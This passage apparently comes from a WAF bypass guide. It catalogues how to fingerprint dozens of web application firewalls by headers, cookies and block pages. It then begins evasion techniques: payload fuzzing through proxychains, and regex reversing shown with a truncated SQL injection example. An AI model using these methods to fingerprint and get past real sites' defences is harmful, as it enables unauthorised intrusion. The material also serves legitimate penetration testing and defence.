\n GoDaddy\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
      • \n
    \n
\n
\n GreyWizard\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:\n
        \n
      • Grey Wizard as title.
        • \n
      • Contact the website owner or Grey Wizard text snippet.
        • \n
      • We've detected attempted attack or non standard traffic from your IP address text snippet.
        • \n
      \n
      • \n
    • Server header contain greywizard keyword.
      • \n
    \n
\n
\n Huawei Cloud\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:
      • \n
        \n
      • Reference to account.hwclouds.com/static/error/images/404img.jpg error image.
        • \n
      • Reference to www.hwclouds.com URL.
        • \n
      • Reference to hws_security@{site.tld} e-mail for reporting.
        • \n
      \n
    \n
\n
\n HyperGuard\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Set-Cookie header has cookie field ODSESSION= in response headers.
      • \n
    \n
\n
\n IBM DataPower\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
      • \n
    \n
\n
\n Imperva Incapsula\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page content may contain:
      • \n
        \n
      • Powered By Incapsula text snippet.
        • \n
      • Incapsula incident ID keyword.
        • \n
      • _Incapsula_Resource keyword.
        • \n
      • subject=WAF Block Page keyword.
        • \n
      \n
    • Normal GET request headers contain visid_incap value.
      • \n
    • Response headers may contain X-Iinfo header field name.
      • \n
    • Set-Cookie header has cookie field incap_ses and visid_incap.
      • \n
    \n
\n
\n Imunify360\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contain imunify360-webshield keyword.
      • \n
    • Response page contains:
      • \n
        \n
      • Powered by Imunify360 text snippet.
        • \n
      • imunify360 preloader if response type is JSON.
        • \n
      \n
    • Blocked response page contains protected by Imunify360 text.
      • \n
    \n
\n
\n IndusGuard\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains value IF_WAF.
      • \n
    • Blocked response content contains warning
      further investigation and remediation with a screenshot of this page.
      • \n
    • Response headers contain a unique header X-Version.
      • \n
    \n
\n
\n Instart DX\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain X-Instart-Request-ID unique header.
      • \n
    • Response headers contain X-Instart-WL unique header fingerprint.
      • \n
    • Response headers contain X-Instart-Cache unique header fingerprint.
      • \n
    • Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.
      • \n
    \n
\n
\n ISA Server\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
        • \n
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
        • \n
      \n
    \n
\n
\n Janusec Application Gateway\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page has image displaying JANUSEC name and logo.
      • \n
    • Blocked response page displays Janusec Application Gateway on malicious requests.
      • \n
    \n
\n
\n Jiasule\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
      • \n
    • Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.
      • \n
    • Server header has jiasule-WAF keywords.
      • \n
    • Blocked response content has notice-jiasule keyword.
      • \n
    \n
\n
\n KeyCDN\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains KeyCDN keyword.
      • \n
    \n
\n
\n KnownSec\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page displays ks-waf-error.png image (view source to see).
      • \n
    \n
\n
\n KONA Site Defender (Akamai)\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains AkamaiGHost keyword.
      • \n
    \n
\n
\n LiteSpeed\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header has value set to LiteSpeed.
      • \n
    • Response page contains:
      • \n
        \n
      • Proudly powered by LiteSpeed Web Server text.
        • \n
      • Reference to http://www.litespeedtech.com/error-page
        • \n
      • Access to resource on this server is denied.
        • \n
      \n
    \n
\n
\n Malcare\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page may contains:\n
        \n
      • Blocked because of Malicious Activities text snippet.
        • \n
      • Firewall powered by MalCare text snippet.
        • \n
      \n
      • \n
    \n
\n
\n MissionControl Application Shield\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header field contains Mission Control Application Shield value.
      • \n
    \n
\n
\n ModSecurity\n \n
    \n
  • Detectability: Moderate/Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains:
      • \n
        \n
      • This error was generated by Mod_Security text snippet.
        • \n
      • One or more things in your request were suspicious text snippet.
        • \n
      • rules of the mod_security module text snippet.
        • \n
      • mod_security rules triggered text snippet.
        • \n
      • Reference to /modsecurity-errorpage/ directory.
        • \n
      \n
    • Server header may contain Mod_Security or NYOB keywords.
      • \n
    • Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.\n
    \n
\n
\n ModSecurity CRS\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.
      • \n
    \n
\n
\n NAXSI\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains This Request Has Been Blocked By NAXSI.
      • \n
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
      • \n
    • Server header contains naxsi/waf keyword value.
      • \n
    • Blocked response page may contain NAXSI blocked information error code.
      • \n
    \n
\n
\n Nemesida\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains Suspicious activity detected. Access to the site is blocked..
      • \n
    • Contains reference to email nwaf@{site.tld}
      • \n
    \n
\n
\n Netcontinuum\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Session cookies contain NCI__SessionId= cookie field name.
      • \n
    \n
\n
\n NetScaler AppFirewall\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers may contain
      • \n
        \n
      • Connection: header field name jumbled to nnCoection:
        • \n
      • ns_af= cookie field name.
        • \n
      • citrix_ns_id field name.
        • \n
      • NSC_ keyword.
        • \n
      • NS-CACHE field value.
        • \n
      \n
    \n
\n
\n NevisProxy\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response header cookies contain Navajo keyword.
      • \n
    \n
\n
\n NewDefend\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • Reference to http://www.newdefend.com/feedback/misinformation/ URL.
        • \n
      • Reference to /nd_block/ directory.
        • \n
      \n
    • Server header contains NewDefend keyword.
      • \n
    \n
\n
\n Nexusguard\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.
      • \n
    \n
\n
\n NinjaFirewall\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page title contains NinjaFirewall: 403 Forbidden.
      • \n
    • Response page contains:\n
        \n
      • For security reasons, it was blocked and logged text snippet.
        • \n
      • NinjaFirewall keyword in title.
        • \n
      \n
      • \n
    • Returns a 403 Forbidden response upon malicious requests.
      • \n
    \n
\n
\n NSFocus\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contain NSFocus keyword.
      • \n
    \n
\n
\n NullDDoS\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains the NullDDoS System keyword.
      • \n
    \n
\n
\n onMessage Shield\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain header X-Engine field with value onMessage Shield.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • Blackbaud K-12 conducts routine maintenance keyword.
        • \n
      • This site is protected by an enhanced security system.
        • \n
      • Reference to https://status.blackbaud.com URL.
        • \n
      • Reference to https://maintenance.blackbaud.com URL.
        • \n
      \n
    \n
\n
\n OpenResty Lua WAF\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains openresty/{version} keyword.
      • \n
    • Blocked response page contains openresty/{version} text.
      • \n
    • Blocked response code returned is 406 Not Acceptable.
      • \n
    \n
\n
\n Palo Alto\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains Virus/Spyware Download Blocked.
      • \n
    • Response page might contain Palo Alto Next Generation Security Platform text snippet.
      • \n
    \n
\n
\n PentaWAF\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains PentaWAF/{version} keyword.
      • \n
    • Blocked response page contains text PentaWAF/{version}.
      • \n
    \n
\n
\n PerimeterX\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
      • \n
    \n
\n
\n pkSecurityModule IDS\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content may contain
      • \n
        \n
      • pkSecurityModule: Security.Alert.
        • \n
      • A safety critical request was discovered and blocked text snippet.
        • \n
      \n
    \n
\n
\n Positive Technologies Application Firewall\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains Forbidden in h1 followed by:
      • \n
    • Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}
      • \n
    \n
\n
\n PowerCDN\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers may contain
      • \n
        \n
      • Via header with content powercdn.com.
        • \n
      • X-Cache header with content powercdn.com.
        • \n
      • X-CDN header with content PowerCDN.
        • \n
      \n
    \n
\n
\n Profense\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Set-Cookie headers contain PLBSID= cookie field name.
      • \n
    • Server header contain Profense keyword.
      • \n
    \n
\n
\n Proventia (IBM)\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page might contain to request does not match Proventia rules text snippet.
      • \n
    \n
\n
\n Puhui\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contain PuhuiWAF keyword.
      • \n
    \n
\n
\n Qiniu CDN\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content may contain
      • \n
        \n
      • Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.
        • \n
      \n
    \n
\n
\n Radware Appwall\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
      • \n
    • Blocked response page has reference to radwarealerting@{site.tld} email.
      • \n
    • Blocked response page has title set to Unauthorized Request Blocked.
      • \n
    • Response headers may contain X-SL-CompState header field name.
      • \n
    \n
\n
\n Reblaze\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Cookies in response headers contain rbzid= header field name.
      • \n
    • Server field value might contain Reblaze Secure Web Gateway text snippet.
      • \n
    • Response page contains:
      • \n
        \n
      • Access Denied (403) in bold.
        • \n
      • Current session has been terminated text.
        • \n
      • For further information, do not hesitate to contact us.
        • \n
      \n
    \n
\n
\n Request Validation Mode\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • A firewall found specifically on ASP.NET websites and none others.
      • \n
    • Response page contains either of the following text snippet:
      • \n
        \n
      • ASP.NET has detected data in the request that is potentially dangerous.
        • \n
      • Request Validation has detected a potentially dangerous client input value.
        • \n
      • HttpRequestValidationException.
        • \n
      \n
    • Blocked response code returned is always 500 Internal Error.
      • \n
    \n
\n
\n RSFirewall\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
        • \n
      • COM_RSFIREWALL_EVENT keyword.
        • \n
      \n
    \n
\n
\n Sabre\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Returns status code 500 Internal Error upon malicious requests.
      • \n
    • Response content has:\n
        \n
      • Contact email dxsupport@sabre.com.
        • \n
      • Your request has been blocked bold warning.
        • \n
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
        • \n
      \n
      • \n
    \n
\n
\n Safe3\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain:
      • \n
        \n
      • X-Powered-By header has field value Safe3WAF.
        • \n
      • Server header contains field value set to Safe3 Web Firewall.
        • \n
      \n
    • Response page contains Safe3waf keyword.
      • \n
    \n
\n
\n SafeDog\n \n
    \n
  • Detectability: Easy/Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header in response may contain:
      • \n
        \n
      • WAF/2.0 keyword.
        • \n
      • safedog field value.
        • \n
      \n
    \n
\n
\n SecKing\n \n
    \n
  • Detectability: Easy/Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header in response may contain:
      • \n
        \n
      • SECKINGWAF keyword.
        • \n
      • SECKING/{version} field value.
        • \n
      \n
    \n
\n
\n SecuPress\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content may contain:
      • \n
        \n
      • SecuPress as text.
        • \n
      • Block ID: Bad URL Contents as text.
        • \n
      \n
    • Response code returned is 503 Service Unavailable.
      • \n
    \n
\n
\n Secure Entry\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains value set to Secure Entry Server.
      • \n
    \n
\n
\n SecureIIS\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains either of the following text snippet:
      • \n
        \n
      • Image displaying beyondtrust logo.
        • \n
      • Download SecureIIS Personal Edition
        • \n
      • Reference to http://www.eeye.com/SecureIIS/ URL.
        • \n
      • SecureIIS Error text snippet.
        • \n
      \n
    \n
\n
\n SecureSphere\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains the following text snippet:
      • \n
        \n
      • Error in h2 text.
        • \n
      • Title contains only text as Error.
        • \n
      • Contact support for additional information. text.
        • \n
      \n
    \n
\n
\n SEnginx\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
      • \n
    \n
\n
\n ServerDefender VP\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response contains X-Pint header field with p80 keyword.
      • \n
    \n
\n
\n Shadow Daemon\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains request forbidden by administrative rules. keyword.
      • \n
    \n
\n
\n ShieldSecurity\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains: \n
        \n
      • You were blocked by the Shield. text.
        • \n
      • Something in the URL, Form or Cookie data wasn't appropriate text snippet.
        • \n
      • Warning: You have {number} remaining transgression(s) against this site.
        • \n
      • Seriously stop repeating what you are doing or you will be locked out.
        • \n
      \n
    \n
\n
\n SiteGround\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
      • \n
    \n
\n
\n SiteGuard (JP Secure)\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:\n
        \n
      • Powered by SiteGuard text snippet.
        • \n
      • The server refuse to browse the page. text snippet.
        • \n
      • The URL may not be correct. Please confirm the value.
        • \n
      \n
    \n
\n
\n SiteLock TrueShield\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page source contains the following:
      • \n
        \n
      • Reference to www.sitelock.com URL.
        • \n
      • Sitelock is leader in Business Website Security Services. text.
        • \n
      • sitelock-site-verification keyword.
        • \n
      • sitelock_shield_logo image.
        • \n
      \n
    \n
\n
\n SonicWall\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contain SonicWALL keyword value.
      • \n
    • Blocked response page contains either of the following text snippet:
      • \n
        \n
      • Image displaying Dell logo.
        • \n
      • This request is blocked by the SonicWALL.
        • \n
      • Web Site Blocked text snippet.
        • \n
      • nsa_banner as keyword. :p
        • \n
      \n
    \n
\n
\n Sophos UTM \n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains Powered by UTM Web Protection keyword.
      • \n
    \n
\n
\n SquareSpace\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response code returned is 404 Not Found upon malicious requests.
      • \n
    • Blocked response page contains either of the following text snippet:
      • \n
        \n
      • BRICK-50 keyword.
        • \n
      • 404 Not Found text snippet.
        • \n
      \n
    \n
\n
\n SquidProxy IDS\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains field value squid/{version}.
      • \n
    • Blocked response page contains
      Access control configuration prevents your request from being allowed at this time..
      • \n
    \n
\n
\n StackPath\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Contains image displaying StackPath logo.
      • \n
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
      • \n
    \n
\n
\n Stingray\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
      • \n
    • Response headers contain the X-Mapping header field name.
      • \n
    \n
\n
\n Sucuri CloudProxy\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers may contain Sucuri or Cloudproxy keywords.
      • \n
    • Blocked response page contains the following text snippet:
      • \n
        \n
      • Access Denied - Sucuri Website Firewall text.
        • \n
      • Reference to https://sucuri.net/privacy-policy URL.
        • \n
      • Sometimes the email cloudproxy@sucuri.net.
        • \n
      • Contains copyright notice ;copy {year} Sucuri Inc.
        • \n
      \n
    • Response headers contains X-Sucuri-ID header along with normal requests.
      • \n
    \n
\n
\n Synology Cloud\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.
      • \n
    \n
\n
\n Tencent Cloud\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response code returns 405 Method Not Allowed error.
      • \n
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
      • \n
    \n
\n
\n Teros\n \n
    \n
  • Detectability: Difficult
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain cookie field st8id.
      • \n
    \n
\n
\n TrafficShield\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server might contain F5-TrafficShield keyword.
      • \n
    • ASINFO= value might be detected in response cookies.
      • \n
    \n
\n
\n TransIP\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain unique header X-TransIP-Backend.
      • \n
    • Response headers contain another header X-TransIP-Balancer.
      • \n
    \n
\n
\n UCloud UEWaf\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response content might contain:\n
        \n
      • Reference to /uewaf_deny_pages/default/img/ inurl directory.
        • \n
      • ucloud.cn URL.
        • \n
      \n
    • Response headers returned has Server header set to uewaf/{version}.
      • \n
    \n
\n
\n URLMaster SecurityCheck\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers might contain:\n
        \n
      • UrlMaster keyword.
        • \n
      • UrlRewriteModule keyword.
        • \n
      • SecurityCheck keyword.
        • \n
      \n
    • Blocked response code returned is 400 Bad Request text snippet.
      • \n
    \n
\n
\n URLScan\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • \n
    • Blocked response page contains:
      • \n
        \n
      • Rejected-by-URLScan text snippet.
        • \n
      • Server Erro in Application as heading.
        • \n
      • Module: IIS Web Core in table.
        • \n
      \n
    \n
\n
\n USP Secure Entry\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain Secure Entry Server field value.
      • \n
    \n
\n
\n Varnish (OWASP)\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Malicious request returns 404 Not Found Error.
      • \n
    • Response page contains:
      • \n
        \n
      • Request rejected by xVarnish-WAF text snippet.
        • \n
      \n
    \n
\n
\n Varnish CacheWall\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • Error 403 Naughty, not Nice! as heading.
        • \n
      • Varnish cache Server as text.
        • \n
      \n
    \n
\n
\n Viettel\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • Block page has title set to Access denied · Viettel WAF.
        • \n
      • Reference to https://cloudrity.com.vn/ URL.
        • \n
      • Response page contains keywords Viettel WAF system.
        • \n
      • Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.
        • \n
      \n
    \n
\n
\n VirusDie\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page contains:
      • \n
        \n
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
        • \n
      • copy; Virusdie.ru

         copyright notice.
        • \n
      • Response page title contains Virusdie keyword.
        • \n
      • Page metadata contains name=\"FW_BLOCK\" keyword
        • \n
      \n
    \n
\n
\n WallArm\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server headers contain nginx-wallarm value.
      • \n
    \n
\n
\n WatchGuard IPS\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server headers may contain WatchGuard field value.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • Request denied by WatchGuard Firewall text.
        • \n
      • WatchGuard Technologies Inc. as footer.
        • \n
      \n
    \n
\n
\n WebARX Security\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Restricted to specifically WordPress sites only.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • This request has been blocked by WebARX Web Application Firewall text.
        • \n
      • Reference to /wp-content/plugins/webarx/ directory where it is installed.
        • \n
      \n
    \n
\n
\n WebKnight\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain WebKnight keyword.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • WebKnight Application Firewall Alert text warning.
        • \n
      • AQTRONIX WebKnight text snippet.
        • \n
      \n
    • Blocked response code returned is 999 No Hacking. :p
      • \n
    • Blocked response code returned is also 404 Hack Not Found. :p
      • \n
    \n
\n
\n WebLand\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains Apache Protected By WebLand WAF keyword.
      • \n
    \n
\n
\n WebRay\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains WebRay-WAF keyword.
      • \n
    • Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
      • \n
    \n
\n
\n WebSEAL\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contain WebSEAL keyword.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • This is a WebSEAL error message template file text.
        • \n
      • WebSEAL server received an invalid HTTP request text snippet.
        • \n
      \n
    \n
\n
\n WebTotem\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains The current request was blocked by WebTotem.
      • \n
    \n
\n
\n West263CDN\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain X-Cache header field with WT263CDN value.
      • \n
    \n
\n
\n Wordfence\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain WebKnight keyword.
      • \n
    • Blocked response page contains:
      • \n
        \n
      • Generated by Wordfence text snippet.
        • \n
      • A potentially unsafe operation has been detected in your request to this site text warning.
        • \n
      • Your access to this site has been limited text warning.
        • \n
      • This response was generated by Wordfence text snippet.
        • \n
      \n
    \n
\n
\n WTS-WAF\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page title has WTS-WAF keyword.
      • \n
    • Server header contains wts as value.
      • \n
    \n
\n
\n XLabs Security WAF\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response headers contain X-CDN header field with XLabs Security value.
      • \n
    \n
\n
\n Xuanwudun WAF\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
      • \n
    \n
\n
\n Yunaq Chuangyu\n \n
    \n
  • Detectability: Moderate
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response page has reference to:\n
        \n
      • 365cyd.com or 365cyd.net URL.
        • \n
      • Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
        • \n
      \n
      • \n
    \n
\n
\n Yundun\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header contains YUNDUN as value.
      • \n
    • X-Cache header field contains YUNDUN as value.
      • \n
    • Response page contains Blocked by YUNDUN Cloud WAF text snippet.
      • \n
    • Blocked response page contains reference to yundun.com/yd_http_error/ URL.
      • \n
    \n
\n
\n Yunsuo\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains image class reference to yunsuologo.
      • \n
    • Response headers contain the yunsuo_session field name.
      • \n
    \n
\n
\n YxLink\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Response might have yx_ci_session cookie field.
      • \n
    • Response might have yx_language cookie field.
      • \n
    • Server header contains Yxlink-WAF field value.
      • \n
    \n
\n
\n ZenEdge\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Blocked response page contains reference to /__zenedge/assets/ directory.
      • \n
    • Server header contain ZENEDGE keyword.
      • \n
    • Blocked response headers may contain X-Zen-Fury header.
      • \n
    \n
\n
\n ZScaler\n \n
    \n
  • Detectability: Easy
    • \n
  • Detection Methodology:
    • \n
      \n
    • Server header has value set to ZScaler.
      • \n
    • Blocked response page contains:\n
        \n
      • Access Denied: Accenture Policy text.
        • \n
      • Reference to https://policies.accenture.com URL.
        • \n
      • Reference to image at https://login.zscloud.net/img_logo_new1.png.
        • \n
      • Your organization has selected Zscaler to protect you from internet threats.
        • \n
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
        • \n
      \n
      • \n
    \n
\n
\n\n## Evasion Techniques\nLets look at some methods of bypassing and evading WAFs.\n\n### Fuzzing/Bruteforcing:\n#### Method: \nRunning a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:\n- Wordlists specifically for fuzzing \n - [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).\n - [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)\n - [Other Payloads](https://github.com/foospidy/payloads)\n\n#### Technique:\n- Load up your wordlist into fuzzer and start the bruteforce.\n- Record/log all responses from the different payloads fuzzed.\n- Use random user-agents, ranging from Chrome Desktop to iPhone browser.\n- If blocking noticed, increase fuzz latency (eg. 2-4 secs).\n- Always use proxychains, since chances are real that your IP gets blocked.\n\n#### Drawbacks:\n- This method often fails. \n- Many a times your IP will be blocked (temporarily/permanently).\n\n### Regex Reversing:\n#### Method:\n- Most efficient method of bypassing WAFs.\n- Some WAFs rely upon matching the attack payloads with the signatures in their databases.\n- Payload matches the reg-ex the WAF triggers alarm.\n\n#### Techniques:\n\n### Blacklisting Detection/Bypass\n\n- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.\n- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.\n\n__Case__: SQL Injection\n\n##### • Step 1:\n__Keywords Filtered__: `and`, `or`, `union` \n__Probable Regex__: `preg_match('/(and|or|union)/i', $id)` \n- __Blocked Attempt__: `union select user, 